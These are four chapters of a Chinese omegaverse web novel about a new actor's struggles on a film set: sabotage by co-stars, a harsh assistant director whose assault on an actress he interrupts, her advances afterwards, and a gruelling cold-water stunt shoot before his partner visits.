“上次没见识过,这回我是感觉出来了,你台词很不错,是这批演员里最有感觉的。”
他顿时受宠若惊,忙说:“范导谬赞了,大家的专业水平都很高,我这根本不算什么。”范正仁却唉了声摆摆手,“不用跟我说这些场面话,我清楚得很,小舒毕竟专业出身,水平还是有的,但其他几个不提也罢,估计都得用配音。”
这毫不留情面的评价听得他一阵尴尬,不知道该怎么接话才对。
“特别是曾英睿,身为男主角戏份最重,却连口音都改不掉,只怕会影响对戏效果。”范导一脸的愁容。
他也想到刚才读对白的时候有好几个人都在明显忍笑,而身为诱因,曾英睿却一脸坦然的无所谓的样子。
范导的顾虑......并非没有道理。
“我少不了要在他们身上多花功夫,相比起来你让我觉得省心多了。”眼看范正仁的手搭上自己肩头,他忍着没躲开,陪着笑说,“有范导你在,成片质量就有保障,我也会努力不拖大家后腿的。”
这话说的范正仁会心一笑,又拍了两下他的后背:“那我就放心把你交给B组了,朱副导脾气可能不太好,你多忍着点,真遇上什么了就来找我。”
16. 第 16 章
十月初的天还没彻底凉快下来,剧组正式开工以后天天都能听到谁热晕了、谁又累得内分泌紊乱,可能要导致发/情期或者易感期提前的消息。
每到这种时候,大家就会感慨还是beta好,至少工作的时候可以少一重顾虑。
“卡卡卡!”震天响的怒吼传开,B组片场外围的工作人员们又是一阵眼神交流,不约而同看向中心两人,心下都道“又来了又来了”。
“席棹!你怎么搞的!戏中戏连走镜头都不会?这是虞陵戏里和女主的最后一面,你是要深情地凝望她!拥抱她!你手都伸出去了又后撤半步算怎么回事?啊?”
被当众狠狠训话的人低了点头,头上戴的长檐帽挡着上半张脸,叫别人难看清神色。“对不起副导演,刚才是”他甚至还没来得及开口解释,副导朱实茂就不耐烦地挥挥手嚷:“不要跟我说这些!再来一条!各组就位!”
眼看场记举板上来,他只好先按下心中不悦,调整了一下呼吸,转回身面向对手演员。
“《替身》B组,第6场第2镜第3次!Action!”
“我要走了。”虞陵把压到视线的帽檐往上抬了点,眼神从车站脏兮兮的地面小心翼翼地一寸寸往上,落到好不容易重逢的爱人身上,睫毛颤了颤,欲言又止。
“非走不可吗?”爱人哽咽的声音饱含着痛苦,抬手,指尖颤抖着抚上他的脸,“非走......不可吗?”
他闭眼,从喉间硬挤出一声短促而沉闷的“嗯”,侧了点头,将自己宽厚手掌覆上肩头那只纤弱的手,握紧,然后从身上移开,放下。
“我走以后”他突然噎住再无法说下去,一把将爱人扯进怀中紧紧抱住。
“卡!”朱实茂气急败坏的声音跟着脚步声一起靠近,被卷成筒后弯曲的纸稿被甩得散落一地。
“你、你到底想怎么样?啊?刚才不是演得好好的吗?找不痛快是吗?”
席棹紧紧握着拳,看了对手女演员一眼,对方冲他露出一个娇媚的笑,还顺道挺了挺上半身。
“说话!到底怎么回事!”朱副导本来就是个大嗓门,生气之下更是足以把所有人的注意力都喊的集中过来。
他咬了下唇,叹气说:“我状态不太好,对不起。”余光却瞥见旁边女演员得意一笑,心下烦乱极了。
朱副导重重地叹气,又重重地挠头,最后摆摆手:“行行行,你去调整下状态,今天这场戏必须过!全体休息十五分钟!”
化妆间隔间里,他靠坐在角落仰头正思考着,门被悄然推开,林善善鬼鬼祟祟地探头进来小声说:“席哥,外头没人,我们进来啦。”然后领着个怯生生的小男孩走近。
“席哥,我和小梁都看到了,是那个女的她故意摸你,还拿胸顶你,那个角度监视器看不见。”林善善很是气不过,和身边的化妆师小梁对视一眼,咬牙问:“你为什么不实话告诉副导呢?”
他闭上眼,任由小梁上手来给补妆,轻声说了句:“监视器里或许看不见,但既然你俩都能发现,你觉得他们会一无所知吗?”
小梁轻压粉饼的动作顿住,满脸的愕然:“席老师,您是说他们都知道,只是装不知道?”层层叠叠的粉铺在脸上的感觉其实并不太好,只是为了在镜头中呈现出更好的效果,他不得不去适应去忍耐。
就像这几天他一直在忍耐不同的对手演员使的各种小绊子。
“一两回可能是个人作风有问题,但每回和我的戏都这样,我不信他们都有那么大的胆子,敢用这种手段拖慢整体进度。”想到那些不尽相同的或调戏或戏谑的眼神,他心中大概有了定论。
找了个理由支走小梁后,林善善忧心忡忡地提议:“不然还是和乔颖姐说一声吧,总这样下去也不行啊。”
他睁着血丝明显的双眼看过去,语气不容置喙:“这才刚开始,遇到这么点事就找她帮忙,像话吗?而且说到底他们也没在明面上做什么,是我自己不适应。”
这个圈子本来就比人们以为的要复杂的多,这种疑似抱团针对自己的行为,要说背地里没人指示,他才不信。
“不许说,知道了吗?”他再一次强调,站起身,“我倒想看看他们敢不敢真的影响到拍摄。”
事实证明他的想法没错,那些人只敢在近距离接触时做点影响他情绪的小动作,正常时候都还维持着勉勉强强的同事关系,也没当众闹出点什么。
好在他清醒的很,记得自己是来上班赚钱而不是来交朋友的,每天工作内容结束后,要么钻进健身房,要么回公寓看书学习,半个月的磨合期很快也就过去了。
这天是范导生日,整个剧组早早收工,就连一向严苛的朱副导都没为难众人,嘴上说着节省点成本,还是大手一挥提早放了人。
提早收工对所有人来说都是一件值得开心的事,但席棹着实没那个心情,他正刷着手机因为卖房一事愁眉苦脸的时候,林善善探头进来说:“席哥,范导找你!”
范正仁?他急忙拿卸妆巾把脸上的残妆擦掉,刚站起身,门口就传来中年男人沙哑的声音:“席棹啊,一起去喝一杯?我叫了越仪英睿他们,过两天你就要转来A组了,年轻人熟悉起来应该挺快的吧。”
他一听这声就知道对方这段时间恐怕没少“指导”,这嗓子都快冒烟了,勉强笑笑:“范导,你这真能碰酒精吗?”范正仁却浑不在意地摆摆手:“欸,我自己的身体自己有数,你就说赏不赏脸吧!”
这话从一个有不少作品傍身的导演口中说出,以他这种纯新人的资历,要真接了茬,那才是狂妄的没边了。
所以纵使他心里不愿意去,面上也还是微笑:“那我哪有不去的道理,你别嫌我酒量差就行。”
一行人在KTV哄闹到九点半,范正仁看了眼时间说:“诶诶,都振作点!明天可不是放假,不好搞太晚,喝完这杯咱们就撤。”说着率先举起手中酒杯。
席棹已经有些晕乎了,胆子也大起来,晃了晃脑袋说:“不行,我真不能喝了,不然明天的戏又该挨骂了。”
范正仁嗯了声,尾音上扬,眼神看起来很疑惑,但还没等这位寿星本人有什么意见,边上就飘来一句带着台湾腔的,“可不,万一喝坏了嗓子念不出台词怎么办,演哑剧啊?”
众人嗨了大半个晚上,又喝了酒,感官多少有些迟钝,对曾英睿这突然的一句话也没有什么反应。
但他的酒意在一瞬间散得干干净净。
等到其他人陆陆续续离开以后,他才从沙发上坐起身,眼神清明的给林善善打了个电话,让对
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方半小时后到店门口来接,然后推开包厢门,径直往走廊尽头的洗手间走去。
他要去找曾英睿问个清楚——为什么无缘无故的联合其他人给自己下绊子。
本就敏感的心思在酒后更是发酵得不可收拾,尤其刚才曾英睿话中的讥讽明显胜过调侃,足以说明根本就没打算隐藏这莫名的恶意。
工作的时候他可以忍,但现在,他只想知道原因。
刚靠近洗手间区域,里头就传出夹杂着喘/息的交谈,声量不大,但足以让alpha在酒精刺激下放大的感官完全接收到。
“他也没做错什么,你,啊,何必这么针对他呢”
“我就是不爽他显摆那样,以为被夸两句台词好有多了不得,嘁”
“范导又没说错,他台词是不错,你怎么这么小心眼”
“越仪姐,你怎么向着外人啊,我要伤心了”
“小睿乖,晚点来姐姐房间,这儿不方便”
他收住脚步,垂眸盯着地面散落的水珠看了半晌,看到眼睛像被水珠表面反刺来的明光灼伤,才终于转身离开。
车上,他额头靠着冰冷的车窗,突然问:“曾英睿比舒越仪还小?”
林善善啊了声:“嗯,小三岁呢,他俩还是同公司的,怎么突然问这个?”又道,“席哥,你没事吧?刚才出来我就看你脸色不太好。”
窗外景象晃得他眼疼,于是干脆闭上了,“没事,过几天要同组演对手戏了,了解一下。”
回到公寓后他没有马上去洗漱,反而拿了个靠枕,倚着窗台看着夜景吹风。从高层看出去,外头万家灯火,没一盏为他而亮。
手臂伸出去的时候,为一个人设置的特殊铃声响了起来。
“喂?在干什么?”接通后那头的声音似乎有些迫不及待,“拍摄还顺利吗?没遇到什么难事吧?”
他莫名的眼底一酸,外面那些灯火就模糊了几分,“刚聚餐回来,挺顺利的,没事。”
对面静了半晌,再响起时,声音竟比晚风还柔和,“没事就好,我这段时间忙完就去找你,你有好好吃饭吧?”
“嗯,乔颖姐让公司给配了营养师,体重减的很科学。”
“那就好,你刚才说聚餐?”
“今天是导演生日,提早收工了,去喝了两杯。”
宋采舟的声音似乎远离了片刻,然后又靠近了:“你们导演,是范正仁吧?我看过他拍的剧,水平还行,他对你怎么样?”
“我一个新人演员,他能对我怎么样,你这话问的。”说着他自己都觉得好笑,“我这半个月一直在副导演的组拍零散片段,过两天才去他那儿,还没正式合作过,我也不知道他对我具体什么看法。”
本来他心里还是有那么一点信心的,毕竟剧本围读的时候范正仁表现的好像还挺满意他,但半个月磋磨下来,现在他真不敢确定了。
如果真的中意他,何至于对朱实茂的态度一无所知?想起范正仁那个疑惑的眼神,他轻笑一声,心想大概是自己自作多情了。
“反正好不好的也就那样,我好好演我的,两个月后就散了。”他指尖抚上脖前的相框吊坠,心生暖意,“你什么时候来?”
“快了,你要是觉得不舒服记得用舒缓剂,别硬撑着。”
17. 第 17 章
第二天天还昏暗着,席棹是被燥醒的。掀开薄被看了眼腿间黏湿的布料,梦里的潮热似乎还没有完全褪去,他长舒一口气,起身进了淋浴间。
铃声响的时候他刚好吹完头发,随意抓了两把后扣上帽子,抓起台面上的银链和手机就匆忙往外走,正好在门口碰上了从电梯里出来的林善善。
“席哥,我打了几个电话都没通,怕你睡过头就上来了。”林善善视线落到他乱糟糟的发尾上,有些紧张的表情终于放松下来,递过手中的咖啡和三明治,“还好你昨晚喝的不多,脸上看着还行。刚才过来路上,小梁发消息说曾英睿脸肿的跟猪头一样,被副导骂了。”
他接过早餐熟练的撕开包装插上吸管,咬了两口垫垫胃,才开始喝那口感称得上恶心的常温加浓美式,皱着眉问:“他今天又不是B组的戏,怎么跟副导碰上了?”
林善善转身摁电梯,“不知道,反正小梁发了一大串字,连语音都不敢发,应该挺严重的吧。”出电梯上车的时候,天还没亮透,幽蓝幽蓝的像幕布一样悬着。
他收起吃了一半的三明治,把剩下的咖啡一点点啜着喝,声音闷闷的说:“你别去凑那热闹,小心引火上身。”
林善善噼里啪啦的敲着手机屏幕,点点头:“我知道,我已经让小梁把聊天记录删了。”说着扭过头小心的看了他一眼,“席哥,副导今天心情这么差,你是不是躲着点好啊?”
“怎么躲?我今天一整天的戏,跟他抬头不见低头见的。”一想到朱实茂平时那个态度,他就觉得口中咖啡更加难以下咽,干脆放到一边去了,“反正再过两天就转组了,看在范导面子上,他应该不会太为难我。”
他当然是想相安无事过完这几天,但事实证明朱实茂这个人的脾气确实差的过分,临近转组了,对演员的要求反倒比之前更加严格,甚至可以说到了吹毛求疵的地步。
终于熬过了动不动就被破口大骂的最后两天,正式收到转组通知的时候,林善善比他本人还高兴。
“脾气差就算了,嗓门还大,动不动嚎一嗓子,吓得我手机都摔了好几次。”
他看了眼对方手上新换的超大软胶手机壳,忍不住笑:“谁让你非得蹲在组里,又没不让你出去。”
林善善编辑好消息按下发送键,马上就收到了对面发来的OK表情,这才锁上屏叹气:“我是想出去啊,但席哥你现在不是还没接后续工作呢?乔颖姐说了让我专心跟组,其他的她会安排。”
明天起就要去A组拍主演对手戏了,他想到那些冲突极强的戏份,竟有些久违的兴奋,心情好了,甚至都有闲心调侃起小助理:“所以你只听乔颖姐的,我的话就当听听过了,是吧?”
没想到林善善一听,如坐针毡起来,连忙摆手解释:“当然不是!我是怕第一份工作就没干好被辞退,offer是乔颖姐给我发的,我当然......”说着小心翼翼观察起他的脸色,“席哥,你,不会辞退我的,对吧?”
他没刻意绷着脸,只是微抬着头,就这样静静地看着,看了得有一分钟,才淡淡地笑:“当然,我没那个权力。”
林善善拍拍胸口叹道:“席哥你以后能不能别这么看着我,吓死人了知道吗?要不是我在片场看你演戏这么些天,我差点以为你来真的。”
笑声在后座传开,他沉闷了好几天,现在却舒坦不少,“行了,以后不和你开这种玩笑就是,明天转A组第一天,早二十分钟来接我吧。”
......
转组第一天排的就是重头戏,席棹穿着古装被热出了一身汗,刚一下戏就被范正仁叫去监视器边。
“来,你看看,这画面拍的不错吧。”范正仁笑眯眯地看他,指着大监说。
屏幕上,虞陵饰演的王爷身姿笔挺,站在屋檐下阴影处,侧了点头望着远处阳光下晒花的女子,嘴角隐约勾着,眼中却透着阴狠的算计,一男一女以光为线分隔在明暗两端。
“啧啧,这是我开机以来拍到最满意的一条,你瞅,这脸侧过来的角度,嘴角,眼尾,还有越仪弯腰的弧度,发辫垂下的位置,完美!”范正仁越说越满意,喜笑颜开的拍着他的肩膀,“好小子,真没让我失望!”
他受了夸,面上却不显,只浅笑着说:“是范导会拍,有我什么功劳。”
他是真拿不准这范大导演对自己到底是个什么看法。要说初印象吧,似乎还不错,但之前在B组被朱副导天天挑刺的时候,也不见来替自己说几句话,可今天一整天下来又是满口的夸赞,连眉头都没皱一下。
这到底是看得上还是看不上?
这时范正仁突然意味深长的欸了声,语调刻意拉长了些,悄声凑近说:“今天是我开机以来拍的最轻松的一天,多亏有你,这还不算功劳?”说完又马上离远了,朝他背后招手,“英睿,来,给你讲讲戏!”
他赶紧回头,果不其然对上曾英睿愤懑的眼神。
“范导,那我先走了。”“行,你去吧。”
直到坐在化妆间椅子上卸妆的时候,他都还在想——范正仁难道是故意的?故意在曾英睿面前对他好,故意挑起他俩的矛盾?可是,为什么?
他想的出神,连小梁拿棉签凑近都没注意到。“席老师,闭个眼,我给您把眼线擦了。”循声本能的闭上眼后,脑中突然闪过了两个画面。
第一次剧本围读时,范正仁把自己留下,苦恼地说曾英睿的台词问题。还有那天范正仁生日会时,曾英睿语含讥讽的故意挑刺。
越想越觉得不对,后背的汗早已干了,此刻凉津津的,被空调风一吹,彻骨的冷。他猛地一抖睁开眼,沾着卸妆水的棉签就往眼睛里戳了一下。
“啊!席老师!对不起对不起,您别动,我给您擦!”小梁吓得赶紧扔掉棉签,跑到角落拿了一瓶纯净水,边哆嗦着给他洗眼睛边道歉。
他忍着刺痛摆手说没事,接过瓶盖往眼睛上扣,安慰一脸惨白的男孩:“不是什么大事,别怕,去帮我弄点生理盐水吧。”
等小梁急匆匆出去以后,他掏出手机,闭着一只眼睛动作缓慢地打字发消
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息——
“范正仁和曾英睿的经纪公司有过节吗?”
宋采舟正在开会,手机屏幕突然无声亮起,他看到上面的一行信息后轻皱了下眉。
“宋总?”秘书小声提醒道,“这个方案是有什么不妥吗?”他轻咳了一声,示意正在汇报的人继续。
等到散会后,他叫住准备出门的秘书,吩咐道:“去查一下范正仁导演的经济和感情纠纷,等下发到我手机上。”
席棹收到一长串消息的时候已经准备上夜戏了,为免影响情绪他没点开看,直接把手机递给林善善保管,“如果有电话进来,就说我在拍戏,晚点会打回去。”末了又补充一句,“说的客气点。”
等林善善抱着手机绕去一个看不见的角落,他才深呼吸,调整好状态走进片场。
夜戏熬人,奈何晚上演员的脸部状态通常比白天要好不少,范正仁越拍越起劲,临时加了好几个特写镜头。
“席棹,给侧脸,侧脸!”“好,保一条!”整个片场都是导演的指令声和各种机器运作的声音,偶尔中场休息能听见一两声交谈。
“OK!卡!收工!”凌晨两点,A组总算结束了今天的拍摄,所有人不声不响的开始收拾各自负责的工具,累的全无平日打打闹闹的气氛。
席棹扶了一把腿软差点被衣裙绊倒的舒越仪,没等对方有什么反应就抽手往化妆间去了。
等他换掉衣服卸完妆发再出来,正要往停车场赶的时候,拐角消防通道里头传出争吵和磕碰的动静。已经困得打架的眼皮艰难的撑起,看了眼时间,马上凌晨三点。
他抬脚正准备迈进电梯,一声短促的尖锐叫喊刺穿耳膜。
消防通道的门被大力推开又撞上,发出了哐当的剧烈声响,昏暗角落里的一男一女神色惊慌地抬头看过来,像是没料到会被人发现。
他微眯着眼看着两人,走上前去攥住朱实茂的手腕,沉声说:“副导,你这样不合适吧,她似乎并不愿意。”舒越仪刚拆的头发乱糟糟地糊在脸上,也挡不住那双眼里盈盈的泪光,在黑暗中格外刺眼。
朱实茂气息沉重,喉咙里发出卡痰一样的声音,语气中含了十分的威胁:“席棹,我劝你少管闲事,你当没看见,我不和你计较。”
他困得要命,懒得去思考朱实茂区区一个副导演,怎么敢对舒越仪这样的二线头部女明星出手,只是又使了几分力,捏得对方手腕发出轻微的嘎吱声响。
“嘶”朱实茂吃痛,终于松开手,揉着那一截腕子,抬头阴狠狠地盯着他,撂下一句:“你给我等着。”转身发现拉不开沉重的门后,气冲冲地从楼梯走了下去。
等到脚步声彻底远去消失,他才开口:“没事了,你走吧。”正打算转身离开,突然腰被从后方整个环住,后背传来轻柔触感,他一激灵,马上往前使劲挣开,转头怒视着舒越仪。
“你干什么?我刚帮了你!”
刚才还一脸楚楚可怜的女人抬手捋着乱糟糟的头发,冲他嫣然一笑:“他不行,你,我不介意。”
18. 第 18 章
“你说什么?”席棹的困意被这话吓退了几分,拧着眉警告,“你清醒点,别让我后悔帮你。”
舒越仪却浑然不在意,敞着领口逼近几步,几乎是贴着他说:“我们拍戏的时候不是很合拍嘛,你又为我得罪了朱实茂,你对我也有那意思的吧?”
能在娱乐圈站稳脚跟的人,姿色当然不会差,舒越仪就算是素颜也依然明艳动人。
他向后撤了两步拉开距离,一时不知是该愤怒还是该觉得好笑,只能尽量用礼貌的语气回:“你误会了,如果我的什么行为让你有了这样的误解,是我的问题,我道歉。”
被捧久了的人显然没有被这样直白地拒绝过,舒越仪的脸色马上就难看了几分,“你看不上/我?我不漂亮?身材不好?还是你觉得beta在床上不够带劲?”
“你放心,我一向吃得开,如果觉得不对味也可以随时一拍两散,我玩得起。”
眼见对方越说越有誓不甘休的气势,他赶紧制止:“你真的误会了,我没有插足别人感情的癖好,如果你非要报答,就和曾英睿说一声别再把我当假想敌了,我没兴趣和他勾心斗角。”
舒越仪的脸色逐渐玩味起来,上下打量着,最后落到他刚才攥住朱实茂的那只手上。
“哦~原来是这样。”鞋跟触地的声音在楼梯间回响,“你是不是以为我和曾英睿是男女朋友?”
“难道不是?”
“你刚入行?没听过一种关系叫剧组夫妻吗?”
被迫退到墙边的人压下心中怒火,反复在心底强调保持风度,垂下眼看着女人,缓缓开口:“听过,所以既然你已经有了曾英睿解决需要,就更没必要纠缠我了吧。”
舒越仪听后却是粲然一笑:“之前是没必要,但现在我觉得你更好,所以踹了他也不是不行,怎么样,考虑考虑吗?”
入秋的凌晨三点正是冷的时候,他觉得外头应该是起风了,不然怎么会隔着墙还能吹进来,吹得他心底发寒。
恶心。
这圈子,一如既往的恶心。
“我没兴趣。”他皱眉,彻底失了耐心,抬脚要走,就看见舒越仪已经先一步挡在了门前,正挑着眼把玩着胸前一缕发丝轻笑。
“是没兴趣还是怕麻烦?放心吧,我是beta,不像alpha或者omega那样有不稳定期,更不会受信息素控制突然对什么人情深难抑,和我做剧组夫妻是最稳定的。”
他的身体僵了一瞬,随即抿了抿唇,声音无比低沉的问:“你是说,alpha会受信息素控制,突然爱上一个人?”
“呵。”舒越仪轻嗤了声,双臂环抱在胸前,表情有些无语,“别告诉我你连最基础的生理知识课都没上过吧?那你知不知道我为什么答应曾英睿?”
不等人回答,她就自顾自地说下去,丝毫不觉得这是什么羞于启齿的话。
“当然因为他也是beta,我们之间既没有信息素的牵制,想什么时候分开就什么时候分开,更不会有意外怀孕之类的事情妨碍到工作,只要体检报告没问题,我们甚至可以不用戴/套,能玩的花样也更多。”
“身在这个圈子,你不会还天真地以为性是出于爱吧?”
她一口气说了一大堆真心话,却没换来一个回应,借着昏暗的光看清身前男人呆愣愣的表情后,噗嗤笑出了声。
“我本来以为你只是呆板,现在看来你其实是愚笨,算了,我没兴趣和一个蠢人浪费时间。今晚谢谢你替我解围,至于之前的邀请就当我没提过吧。”舒越仪优雅地翻了个白眼,整理好衣领和头发,转身用双手吃力地拉开厚重的门。
在那扇铅灰色的门合上之前,席棹听到了飘过来的一句,“曾英睿那边我没什么立场替你说话,但我会提醒他不要无端生事的,你好自为之吧。”
四下重归寂静,他和黑暗被关到了一起。
舒越仪说的话大多已经从左耳进右耳溜走了,但只有那句“会受信息素控制突然对什么人情深难抑”在脑子里不断盘旋,直直钻进心口。
所以,我无法控制对宋采舟的上心,是因为这个吗?
他之前不是没往这方面想过,只是自己心里想想,和外人当面戳穿到底还是不同。
舒越仪的话就像往沙漠里倒的一盆水,表面上看并没有影响,但实际上只有那一小片沙地自己知道,不一样了。
就在他被困于这个念头的时候,刻意调低过音量,但对于现在而言还是过于吵闹的铃声响起,他有些迟疑地接了,听到声音才想起林善善还在停车场等着。
“席哥?你没事吧,要我去楼上接你吗?”
“咳。”他借口水润了喉,但声音还是逼仄的嘶哑,“不用,我很快就到。”
......
不知是舒越仪言而有信,还是因为最近的通告戏太满,曾英睿的确没再来找茬,其他配角演员们也都安安分分的没作妖迹象。
自从那天晚上过后席棹就没有联系过宋采舟了,也顾不上对方什么时候过来,全身心地投进了拍摄工作里,就连那一大串可能有关范正仁的消息,他都没有点开仔细看。
这天,天气预报又出了岔子,从清早做妆造开始就一直在下雨,户外戏实在没法拍,场次太多如果压着又会影响到后面的安排,无奈之下范正仁只能通知用道具缸拍落水戏,后期再接到外景戏里去。
道具缸大小有限,全程远景肯定是不可能了,“去告诉曾英睿,说落水戏要改近景,要第一视角的镜头。”范正仁眉心拧成了川字,神色忧虑。
几分钟后朱实茂从隔壁组过来,老远就大声嚷嚷着:“范导!男主演发烧了,说拍不了水下戏!”走近后才解释,“我那边提早收工了,过来帮你忙。”
范正仁刚想发作,就看见曾英睿的助理一脸惊慌地跑进来,把手里的温度计递到两人眼前,气喘吁吁地说:“范导,副导,我们家英睿从昨晚起就不舒服,上午强撑着坚持下来了,现在已经烧上38度了,这......这水下戏是真的拍不了啊!”
范正仁伸手拿过仔细一看,人还真没胡诌,温度计显示38度只高不低。
他用力甩了两下塞回对方手心里,转头看了眼朱实茂,又看了眼战战兢兢不敢走的曾英
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睿助理,粗声粗气地问:“那你们说,怎么办?停工一天损耗的成本不算,耽误的进度谁负责?统筹那边都要推翻重新排,人家的怨气谁担着?”
曾英睿助理嗫喏:“那也不能让一个发烧病人下水吧,传出去了亏的不还是范导您的名声吗?”
“你说什么?说大声点!”范正仁简直气不打一处来,破口骂道,“昨晚上就不舒服,那昨晚上怎么不提?来随便演两场破烂戏就真当自己敬业了?现在遇到事知道说病了,好事都要一个人占是吧!”
“咳咳,范导,冷静点。”朱实茂接到男助理投来的求助眼神,咳了两声提醒,“水下戏不是一两条就能拍好的,也确实不好逼着人下,先想想别的法子吧。”
助理马上顺势接过话:“英睿说上次席老师对戏的时候已经把所有人的台词都背得滚瓜烂熟了,不如......请席老师帮帮忙?”一口气说完后又小心翼翼地往旁边看了一眼。
朱实茂眼睛提溜转了两圈,凑近了些道:“水下戏倒也不用说台词,只要知道是什么场景就行了,我看席棹之前每场戏大局观都挺好的,他说不定真行。”
范正仁瞥了他一眼,意味深长地问:“我怎么听说之前在B组你对他的戏总是不满意呢?”
“诶,误会误会,我是觉得他戏好才更要好好打磨,所以严格了点。”朱实茂解释完又拉回话题,“反正用道具缸只能拍近景,有衣服和水的光影挡着也看不太出,而且我看席棹最近有瘦很多,已经和曾英睿体型差不多了。”
这时候道具组的人来传话,说那边搭缸快弄好了,问什么时候开拍。
范正仁心一横,挥手让朱实茂去联系人,然后朝曾英睿助理剜了个眼神,一脸不爽地进了棚。
席棹到的时候众人早已准备就绪,范正仁只来得及简单说了几句片段背景,有点过意不去地轻声道:“临时通知你来救场,我也是没办法了,水下近景戏不好拍,可能要你下个十次八次的。”
他在过来路上就已经听完了事情经过,想到朱实茂那副小人得志的嘴脸,心中也无奈极了,知道范正仁是真没招,并非故意针对。
“没事的范导,你告诉我该怎么做就行,我一定尽力。”
一整个下午,席棹身上的衣服就没干过,他甚至没有那个闲心去数自己跳了多少次,在水下淹了多久,只记得收工的时候林善善一脸心疼地端来驱寒的热汤,给他围上宽大的浴巾,然后蹲在他身边说:“席哥,乔颖姐刚给我打了电话,说后天过来探班。”
他控制不住的哆嗦,端着汤小口小口地喝着,晕乎乎地问:“后天?她有说别的安排吗?”
林善善扁扁嘴:“我听姐话里的意思,好像是要聊一下后续工作的事,不然咱明天向剧组请个假,休息一天吧,你这样......她肯定要骂我的。”
眼见小姑娘一脸的惶恐不安,他伸出手,隔着浴巾轻拍了拍对方的头顶,轻声但坚决道:“今天刚给人救场,明天就让别人来救我的场,像什么样子。”
“没事,我回去睡一觉就好了,乔颖姐那里你别提,她不会知道的。”
19. 第 19 章
可惜席棹的身体不如他以为的那样耐造,降温的雨天在冷水里从下午泡到晚上,虽然没发烧,但还是整个人晕乎乎的,一做大动作就想吐。
林善善看着他强忍着难受一遍遍走戏的样子,整颗心揪着就没松下来过。
第三天中午乔颖到片场休息室的时候,两人正在吃饭。
“快一个月了,你对这份工作有什么感觉?”她摘下墨镜放进包里,先检查了桌上的饭菜,然后仔细看了看慢悠悠进食的人的身形,评价道,“瘦了很多,脸看着倒是还行。”
林善善在旁边大气不敢喘一下,更不敢说自己刚才帮人打了点腮红提气色,要不然那张完美脸蛋上怕是只有煞白一片。
“挺好,学了蛮多,以后用得上。”席棹一口饭一口菜的吃着,说话语速比平时慢了不少,未免乔颖起疑,他随便塞了几口就转移话题问,“后续工作有眉目了?我有选择权吗?”
乔颖把手上那只冰川白往小桌上一放,叉起双臂语气冰冷:“本来注意到了一个还不错的项目,里面有个角色我觉得挺适合你,但是今早临时收到消息,说那角色已经定了一个新人演员。”
“连项目都没筹备完就跟我说定了,想糊弄我。”在圈子里混迹二十年,要就这么容易被打发,那真是愧对金牌经纪人的头衔,“以后这种资本要捧自家新人的事还会有不少,你自己也要有心理准备。”
“我知道的。”他本来就难受的没什么胃口,听到这消息后干脆就把筷子放下了,看了眼那只价格不菲的包,鬼使神差的想起了宋采舟。
“下午的戏,你要留下来看看吗?”
乔颖看了眼时间:“你们开工早的话我倒是能在这留会儿,但待不了太久,回去还有个会要开。”
“好。”他悄悄松口气,和一言不发的林善善对视上,用眼神示意——不要多话。
四十分钟后,片场又喧闹亮堂起来,他提前去卫生间把中午吃的都抠吐了,胃里空了以后脑袋才清醒些,这才放心地去听范正仁讲戏。
乔颖站在外围看了几分钟,对身旁的林善善说了句“出来”,就转头从场中人的视线盲区离开了。
GL8上,林善善接过乔颖递来的水,故作淡定的拧开,刚喝进嘴里就听见一句,“说吧,他怎么生的病。”水被噗的一口喷了出去,好在她还记得扭头,只是喷到了前座椅背上。
她赶紧旋紧瓶盖,接过乔颖面无表情递过来的纸,把真皮椅背上的水渍擦干净,半湿的纸在手心攥紧,低下点头。
“你俩当我瞎还是蠢,连腮红都看不出来?还有他那眼睛,就差没把生病了仨字挂上面了。”
她越听头垂得越低,下巴快碰到胸口的时候被一根手指顶着,硬向上抬起来,对上了手主人锐利的眼神,“到底怎么回事,别逼我亲自去查。”
最后她只得老老实实地交代席棹是怎么“被主动”救场拍了落水戏,怎么强忍着不耽误剧组进度早起晚归的,末了还不忘求情说:“姐,你不知道那个副导演对席哥有多差,从开拍第一天起就搞针对。”
乔颖一眼扫过来:“那你之前怎么不和我说。”
“席哥让我......不要连这种小事都麻烦你。”她一想到席棹吃了吐,只能喝点流食的病恹恹样子,眼圈都酸了,“姐,你能不能不提这事儿,他本来就病着不舒服,我不想再让他觉得连我都背叛了。”
乔颖沉默了一会儿,最后说:“这次我不追究,以后不管发生什么,你在他面前怎么答应的和我无关,但事情我必须知道,两头的度你自己衡量。”
“看在你是真心为他想的份上我不会炒了你,回片场去吧。”
等林善善离开后,她想了想,还是掏出手机打了一个私人电话。“喂,是我,有件事要和你说......”
当天晚上席棹给林善善放了两天假,让她趁这时间去周边玩一玩放松下心情,也好过跟着自己闷在组里,更是作为她没有在乔颖那里多话的奖励。
第二天收工后,席棹没去健身房,早早回公寓洗了澡,打开平板上给剧本做的笔记,心不在焉地等着。
天完全黑透,门铃响起的时候他正半眯着眼出神,听到动静马上往门边跑,快靠近的时候脚步才慢下来,有些紧张地清清嗓子,拉开门。
“我来晚了,等饿了吧?”宋采舟一身西装笔挺,手上却拎着两个超市购物袋,踢下尖头皮鞋换上地毯上一早备好的软拖,把袋子递给他说,“辛苦你摆下盘了,我先去洗个澡,刚结束季度大会就赶过来,结果还是迟了。”
他看着面前快一个月没见的人,看到那双眼下掩不住的青黑,心里有些不是滋味。“你去吧,衣服已经放好了。”
浴室水声作响的时候,他正在给刺身拼盘换冰,注意到宋采舟买的都是些不用担心上镜水肿的食物后,心底涌起一丝暖流。
“席棹!这内裤有点大,有没有小点的!”
他拌沙拉的手一顿,放下碗往卧室里走,拿了盒新买的小两个尺码的,从门缝里递进去:“我忘了拿错了,你穿这个吧。”
十分钟后宋采舟浑身冒着热气从里面出来,径直走到餐桌边坐下,毫不客气地拿起筷子就往嘴里塞,草率地吞咽了几口后动作才慢下来,问:“你瘦太多了,还要再减吗?”
他其实根本没胃口,但又怕被看出什么,勉强挑了片三文鱼吃,“不减了,但要保持现在这个体重,之后看剧组那边需要。”
“哦。”对面的人若有所思,边吃边说,“给你带了点泡养生茶的东西,平时让助理多备着,有总比没有好。”说着又问:“我这次来的急,你明天有请假吗?”
他摇摇头:“明天早上还得去,但是范导帮我把下午的戏提前了,顺利的话午饭前应该能收工,算是有半天假吧。”
“好,那明早我送你过去。”
“太早了,你多睡会儿吧,我看你最近睡觉时间可能比我还少,让
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司机送我去就行了。”
餐桌上头的吊灯铺下饱和度不算太高的暖光,给两人之间笼上一层温馨气氛,在这样思念已久的氛围下,他都不觉得身体上的不舒服是什么难以忍受的东西了。
宋采舟神色淡然:“我给他们放了两天假,一个人过来的,车钥匙在我这儿,我说送你就送你,觉什么时候都能睡,能近距离看你演戏的机会可不多。”
他轻咳两声,往嘴里塞了一筷子沙拉,味同嚼蜡。
